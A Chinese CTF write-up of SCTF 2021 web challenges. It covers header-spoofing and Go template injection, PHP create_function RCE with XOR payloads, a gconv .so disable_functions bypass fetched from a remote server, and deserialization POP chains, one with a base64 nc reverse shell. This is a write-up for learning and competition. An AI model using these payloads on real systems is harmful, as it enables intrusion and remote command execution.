感谢NSSCTF提供复现环境
middleware.go
package middleware
import (
"github.com/gin-gonic/gin"
)
func LocalRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
c.AbortWithStatus(403)
return
}
ip := c.ClientIP()
if ip == "127.0.0.1" {
c.Next()
} else {
c.AbortWithStatus(401)
}
}
}
route.go
age := TargetUser.Age
if age == "" {
age, flag = c.GetQuery("age")
if !flag {
age = "forever 18 (Tell me the age)"
}
}
x-forwarded-for
和 x-client-ip
都被ban了,用 x-real-ip
绕过检测
接下来是go的模板注入
?id=0&age={{.Password}}
无参rce
bypass disable function
if(isset($_POST['cmd'])){
$code = $_POST['cmd'];
if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
} else {
highlight_file(__FILE__);
var_dump(ini_get("disable_functions"));
}
?>
剩下符号:().:[]{}*%#@!~
剩余函数:
strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders
我们的目的是代码执行,可以利用create_function
这里逗号被过滤,为了传入参数,我们可以使用可变参数列表实现
在PHP 5.6以后,参数列表可以包括…,他表示函数接受可变数量的参数。参数将作为数组传递到给定的变量中
$args=['','}system("whoami");//'];
create_function(...$args);
?>
构造
create_function(...unserialize(end(getallheaders())))
传array(代码注入)反序列化变成两个参数传入create_function
create_funtion本质是语法解析的。可以直接注入eval
end — 将array的内部指针移动到最后一个单元并返回其值。
getallheaders — 获取全部 HTTP 请求头信息
异或脚本:
def one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("
while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)
手动加 …
[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));
构造序列化内容
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;
接下来绕过disable_functions
ByteCTF WP-无需mail bypass disable_functions
kali下创建
payload.c
#include
#include
void gconv() {}
void gconv_init() {
puts("pwned");
system("bash -c '/readflag > /tmp/sna'");
exit(0);
}
生成so文件
gcc payload.c -o payload.so -shared -fPIC
再创建一个gconv-modules文件
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
将两个文件放到服务器上,开启http服务共享
python -m http.server 39543
利用 SplFileObject
写 payload.so 和 gconv-modules
a=$url="http://xx.xx.171.248:39543/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
a=$url = "http://xx.xx.171.248:39543/gconv-modules";$file1 = new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);
之后利用伪协议触发
a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
进行读取
a=show_source("/tmp/sna");
下载附件,composer.json
中有两个组件,下载
- symfony string:Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way。
- opis closure:A library that can be used to serialize closures (anonymous functions) and arbitrary objects.
给了源码,存在一个文件上传点,可以将文件传入/tmp/sandbox/xxxx
的一个目录,当我们指定了PATH变量就会将/tmp/sandbox/xxxx
与PATH进行一次拼接,之后把上传的文件放入该目录。
尝试上传,发现能够进行目录穿越,但无法上传到/var/www/html
源码关键部分:
if (!empty($_POST['path'])) {
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
$upload_file = $upload_file_path."/".$file['name'];
} else {
$upload_file_path = $_SESSION["upload_path"];
$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
echo "OK! Your file saved in: " . $upload_file;
} else {
echo "emm...Upload failed:(";
}
首先初始化的时候如果$_SESSION["upload_path"]
为空则先设置$_SESSION["upload_path"]
。然后进入到上面的代码,将$_SESSION["upload_path"]
与path
进行拼接。
查看phpinfo发现session.save_path
为no value即是默认的/tmp/sess_SESSIONID
。
考虑构造恶意session文件上传,之后利用反序列化执行恶意代码。利用之前组件中的__toString
方法
最终POC如下:
namespace Symfony\Component\String;
class LazyString{
private $value;
public function __construct(){
require "../vendor/opis/closure/autoload.php";
$a = function(){system("cat /flag");};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->value=$b;
}
}
print("upload_path|".serialize(new LazyString()));
思路和上题一样,不同的地方在于依赖中没有了opis/closure
,不过题目中新增了一个sandbox类,里面的backdoor方法可以进行文件包含。
EXP:
namespace Symfony\Component\String{
class LazyString{
public $value;
public function __construct($value){
$this->value = $value;
}
}
}
namespace {
class sandbox {
public $evil;
public function __construct(){
$this->evil = "/flag";
}
}
use Symfony\Component\String\LazyString;
$value = [new sandbox,"backdoor"];
$lazy = new LazyString($value);
echo "upload_path |".serialize($lazy);
}
给了Dockerfile,其中有一处nginx反代和一个Imi框架的文件。
IndexController.php
if ($method === "POST") {
Session::clear();
$configData = $this->request->getParsedBody();
foreach ($configData as $k => $v) {
Session::set($k, $v);
}
} else if ($method === "GET") {
$configData = Session::get();
if ($configData != null) {
$res["value"] = $configData;
} else {
$res = [
"msg" => "Not Find",
"status" => "404",
"value" => null
];
}
}
session反序列化,考虑对session文件进行闭合
POC:
namespace Symfony\Component\String{
class LazyString{
public $value;
public function __construct($value){
$this->value=$value;
}
}
}
namespace PhpOption{
final class LazyOption{
public $callback;
public $arguments;
public function __construct($callback,$arguments){
$this->callback=$callback;
$this->arguments=$arguments;
}
}
}
namespace {
use Symfony\Component\String\LazyString;
$la = new LazyString([new PhpOption\LazyOption("system",array('echo$IFS$9cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMS4xMTcuMTcxLjI0OCAzOTU0MiA+L3RtcC9m|base64$IFS$9-d|sh')),"get"]);
#docker没bash
echo urlencode(serialize($la));
}
用正则表达式提取出类名、方法名、类能调用到的成员变量的方法名,然后使用字典进行映射方便快速查找。然后以__destruct()
方法为入口进行搜索,直到最后遇到readfile()
方法。
import re
import base64
otov = {}
vtoo = {}
otoc = {}
ctoo = {}
otof = {}
ftoo = {}
otoa = {}
classes = {}
def trav(name, cls, al):
if "fumo" in classes[name]:
print("->".join(cls))
print(f"start->{'->'.join(al)}->end",end="\n\n")
return 1
for call in otoc[name]:
if call in ftoo.keys():
next = ftoo[call]
if next not in cls:
trav(next, cls + [next], al+[otoa[name]])
return 0
if __name__ == "__main__":
with open("class.code") as f:
text = f.read()
res = re.findall("class[\w\W]+?}[\w\W]+?}", text)
for i in res:
name = re.findall("class (\w+)", i)[0]
classes[name] = i
fs = re.findall("public object (\$\w+?);", i)
otov[name] = fs
for fc in fs:
vtoo[fc] = name
calls = re.findall("\$this->\w+?->(\w+)\(", i)
calls1 = []
a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+)[)]?;", i)
disable = ("md5", "sha1", "crypt", "ucfirst")
for call in calls:
ctoo[call] = name
if len(a) == 0 and "crypt" not in i:
calls1.append(call)
otoa[name]=""
else:
if len(a) == 0:
a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+), \'\w+?\'[)]?;", i)
if len(a)==1:
a = list(a[0])
if "crypt" in i:
a[1] = "crypt"
otoa[name] = a[1]
if a[0] == a[2] and (
a[1] != ""
and not (a[1] in disable and i.find(a[1]) < i.find(call))
or a[1] == ""):
calls1.append(call)
calls2 = re.findall("@call_user_func\(\$this->\w+?, \[\'(\w+?)\' => \$\w+?]\);", i)
if calls2:
ctoo[name] = calls2[0]
otoa[name] = ""
otoc[name] = calls1 + calls2
func = re.findall("function (\w+?)\(", i)[0]
ftoo[func] = name
otof[name] = func
if func == "__call":
calls = re.findall("=> '(\w+?)'", i)
otoc[name] = calls
ctoo[calls[0]] = name
func = re.findall("\[\$this->\w+?, \$(\w+)?\]", i)[0]
otof[name] = func
ftoo[func] = name
otoa[name] = ""
elif func == "__invoke":
calls = re.findall("\$this->\w+?->(\w+?)\(", i)
otoc[name] = calls
ctoo[calls[0]] = name
func = re.findall("\$key = base64_decode\('(.+?)'\);", i)[0]
func = base64.b64decode(func.encode()).decode()
otof[name] = func
ftoo[func] = name
otoa[name] = ""
trav(ftoo["__destruct"], [ftoo["__destruct"]],[])
参考:
https://eastjun.top/2021/12/28/sctf2021/
http://www.yongsheng.site/2022/01/03/SCTF2021%20web/